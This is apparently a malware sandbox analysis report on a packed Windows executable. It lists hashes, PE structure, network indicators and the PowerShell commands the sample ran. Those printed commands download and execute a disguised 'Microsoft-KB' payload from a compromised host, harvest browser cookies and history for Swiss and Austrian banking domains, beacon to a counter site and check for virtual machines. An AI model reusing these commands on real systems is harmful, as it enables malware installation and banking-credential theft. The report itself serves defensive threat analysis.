File name:

unknown.file

Full analysis: https://app.any.run/tasks/d207222a-0860-4a37-8a3a-c3e174440b5b
Verdict: Malicious activity
Analysis date: April 26, 2023, 15:45:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
MD5:

EE8FC9FE7D9084EFDBF0DA1E6BFE0441

SHA1:

91AE6817CE34F36D40E994601227EE00D559CDF3

SHA256:

B5DD791BFD89FBFFE93B6F06EEF795FC73065BA6AE041EC57B814D74533DD477

SSDEEP:

1536:HgPweg0mKIQYUEk1dq9jN3E1pjepQvDGCPenouy8a5:4weZrndMjuBrP+out

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Actions looks like stealing of personal data

      • unknown.file.exe (PID: 1348)
      • powershell.exe (PID: 3408)

  • SUSPICIOUS

    • Reads the Internet Settings

      • unknown.file.exe (PID: 1348)
      • powershell.exe (PID: 3856)
      • powershell.exe (PID: 1644)
      • powershell.exe (PID: 2284)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 3856)
      • powershell.exe (PID: 1644)
      • powershell.exe (PID: 2284)

    • Unusual connection from system programs

      • powershell.exe (PID: 3856)
      • powershell.exe (PID: 2284)
      • powershell.exe (PID: 1644)

    • Probably download files using WebClient

      • unknown.file.exe (PID: 1348)

    • Starts POWERSHELL.EXE for commands execution

      • unknown.file.exe (PID: 1348)

    • Reads browser cookies

      • powershell.exe (PID: 3408)

    • Get information on the list of running processes

      • unknown.file.exe (PID: 1348)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 1644)

  • INFO

    • The process checks LSA protection

      • unknown.file.exe (PID: 1348)

    • Checks supported languages

      • unknown.file.exe (PID: 1348)

    • Reads the computer name

      • unknown.file.exe (PID: 1348)

    • Create files in a temporary directory

      • powershell.exe (PID: 2088)
      • powershell.exe (PID: 3408)
      • powershell.exe (PID: 3856)
      • powershell.exe (PID: 3468)
      • powershell.exe (PID: 3424)
      • powershell.exe (PID: 1644)
      • powershell.exe (PID: 2284)

    • Creates files in the program directory

      • powershell.exe (PID: 1644)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | UPX compressed Win32 Executable (39.3)
.exe | Win32 EXE Yoda's Crypter (38.6)
.dll | Win32 Dynamic Link Library (generic) (9.5)
.exe | Win32 Executable (generic) (6.5)
.exe | Generic Win/DOS Executable (2.9)

EXIF

EXE

Subsystem: Windows command line
SubsystemVersion: 5.1
ImageVersion: -
OSVersion: 5.1
EntryPoint: 0x286b0
UninitializedDataSize: 114688
InitializedDataSize: 12288
CodeSize: 53248
LinkerVersion: 10
PEType: PE32
ImageFileCharacteristics: Executable, 32-bit
TimeStamp: 2014:10:29 06:41:17+00:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_CUI
Compilation Date: 29-Oct-2014 06:41:17
Detected languages:
  • English - United States
  • German - Germany

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000F0

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 29-Oct-2014 06:41:17
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
UPX0
0x00001000
0x0001C000
0x00000000
IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
UPX1
0x0001D000
0x0000D000
0x0000C400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.96749
.rsrc
0x0002A000
0x00003000
0x00002A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
5.33157

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.79597
346
Latin 1 / Western European
English - United States
RT_MANIFEST
101
1.91924
20
Latin 1 / Western European
German - Germany
RT_GROUP_ICON

Imports

ADVAPI32.dll
KERNEL32.DLL
SHELL32.dll
USER32.dll
WININET.dll
urlmon.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
9
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start unknown.file.exe powershell.exe no specs powershell.exe no specs powershell.exe powershell.exe no specs powershell.exe powershell.exe no specs powershell.exe powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1348"C:\Users\admin\AppData\Local\Temp\unknown.file.exe" C:\Users\admin\AppData\Local\Temp\unknown.file.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\unknown.file.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
1644"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadFile('http://bg-koeniz-lerbermatt.evbg.ch/images/fiucriutmirxitureutir/n.exe','C:\ProgramData\\Microsoft-KB508111.exe');(New-Object -com Shell.Application).ShellExecute('C:\ProgramData\\Microsoft-KB508111.exe');"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
unknown.file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
2088powershell -Command "dir ([system.environment]::GetFolderPath('Cookies')+'\Low\*.txt')|Get-Content >> 'C:\Users\admin\AppData\Local\Temp\jaexsfv.txt'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—unknown.file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2284"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadData('http://www.easycounter.com/counter.php?rvtrucitmriumtiutr2');"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
unknown.file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3408powershell -Command "((Select-String -Path 'C:\Users\admin\AppData\Local\Temp\jaexsfv.txt','C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\\cookies.sqlite','C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Cookies','C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\History' -pattern postfinance.ch,directnet.com,credit-suisse.com,akb.ch,bkb.ch,lukb.ch,zkb.ch,raiffeisendirect.ch,gkb.ch,bekb.ch,zugerkb.ch,bcv.ch,bcge.ch,sparkasse.at,bankaustria.at,raiffeisen.at|group pattern|select name)|Measure-Object).count"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
unknown.file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3424powershell -Command "(Get-Process|Select-String -pattern VBoxService,VBoxTray,Proxifier,prl_cc,prl_tools,vmusrvc,vmsrvc,vmtoolsd).count"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—unknown.file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
3468powershell -Command "dir ([system.environment]::GetFolderPath('Cookies')+'\*.txt')|Get-Content >> 'C:\Users\admin\AppData\Local\Temp\jaexsfv.txt'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—unknown.file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3736powershell /?C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—unknown.file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3856"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadData('http://www.easycounter.com/counter.php?yituyitumciyutrymi');"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
unknown.file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
23 782
Read events
23 710
Write events
72
Delete events
0

Modification events

(PID) Process:(1348) unknown.file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1348) unknown.file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1348) unknown.file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1348) unknown.file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3856) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16D\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2284) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16D\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
0
Suspicious files
38
Text files
2
Unknown types
2

Dropped files

PID
Process
Filename
Type
3736powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactivebinary
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
3856powershell.exeC:\Users\admin\AppData\Local\Temp\ku144qxw.l4q.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3468powershell.exeC:\Users\admin\AppData\Local\Temp\fq0ko4fs.nuq.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3468powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
1644powershell.exeC:\Users\admin\AppData\Local\Temp\gauuzqpg.2ec.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2088powershell.exeC:\Users\admin\AppData\Local\Temp\cmdphctj.gay.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3408powershell.exeC:\Users\admin\AppData\Local\Temp\dt4xs1bv.5en.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2284powershell.exeC:\Users\admin\AppData\Local\Temp\qgfgdrf4.gn1.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3424powershell.exeC:\Users\admin\AppData\Local\Temp\rak5mhod.lt0.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3468powershell.exeC:\Users\admin\AppData\Local\Temp\nr1ibw15.hrj.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
8
DNS requests
3
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3856
powershell.exe
GET
301
52.1.22.171:80
http://www.easycounter.com/counter.php?yituyitumciyutrymi
US
html
185 b
malicious
2284
powershell.exe
GET
301
52.1.22.171:80
http://www.easycounter.com/counter.php?rvtrucitmriumtiutr2
US
html
185 b
malicious
1644
powershell.exe
GET
404
78.46.4.171:80
http://bg-koeniz-lerbermatt.evbg.ch/images/fiucriutmirxitureutir/n.exe
DE
xml
1.62 Kb
malicious
2284
powershell.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?2897655b848c9faa
US
compressed
62.3 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2284
powershell.exe
52.1.22.171:443
www.easycounter.com
AMAZON-AES
US
malicious
3856
powershell.exe
52.1.22.171:80
www.easycounter.com
AMAZON-AES
US
malicious
3856
powershell.exe
52.1.22.171:443
www.easycounter.com
AMAZON-AES
US
malicious
2284
powershell.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
—
—
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
3856
powershell.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
2284
powershell.exe
52.1.22.171:80
www.easycounter.com
AMAZON-AES
US
malicious
1644
powershell.exe
78.46.4.171:80
bg-koeniz-lerbermatt.evbg.ch
Hetzner Online GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
www.easycounter.com
  • 52.1.22.171
malicious
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted
bg-koeniz-lerbermatt.evbg.ch
  • 78.46.4.171
malicious

Threats

PID
Process
Class
Message
1644
powershell.exe
A Network Trojan was detected
ET MALWARE Single char EXE direct download likely trojan (multiple families)
1644
powershell.exe
Potential Corporate Privacy Violation
AV POLICY HTTP request for .exe file with no User-Agent
1644
powershell.exe
Potentially Bad Traffic
ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
2 ETPRO signatures available at the full report
No debug info
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Reports
unknown.file